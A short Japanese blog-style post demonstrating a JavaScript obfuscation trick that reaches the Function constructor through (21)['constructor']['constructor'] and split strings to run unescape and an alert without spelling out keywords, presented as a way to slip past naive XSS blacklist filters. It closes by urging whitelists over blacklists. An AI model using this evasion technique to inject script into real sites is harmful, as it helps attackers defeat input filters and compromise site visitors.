予約語なしにJavaScriptでいろいろしてみる

JavaScriptで。文字列'al%65rt%28%22Hello%20World%21%22%29'をunescape()してやってその後にeval()に通せば、結果として「Hello World!」とalertされると思います。
この操作を、安直なXSS対策ブラックリストにおけるヨワヨワな守備の回避を目的に、JavaScript予約語(と言ってよいですか?)を、陽には一切、使わずに行ってみるという試みです。以下。


<script>
(
(21)['c' + 'onstructor']['co' + 'nstructor']
(
(
(
(21)['con' + 'structor']['cons' + 'tructor']
('retur' + 'n unesc' + 'ape')
)
()
)
('al%65' + 'rt%28%22Hello%20World%21%22%29')
)
)
();
</script>

(21)というNumberオブジェクトのconstructorのそのまたconstructorは、Functionコンストラクタの機能をもっているようですので、工夫次第では実質的にevalの機能の一部を代行できます。unescape()など一般的な関数をも作成できます。その性質を使ってみました。このコードは手元のWindows上のOpera,Firefox,IEで確認しました。

XSS対策のブラックリストの使用にあたっては、充分なご考慮をいただきたいと思います。また、ホワイトリストの構築を是非、お勧めいたします。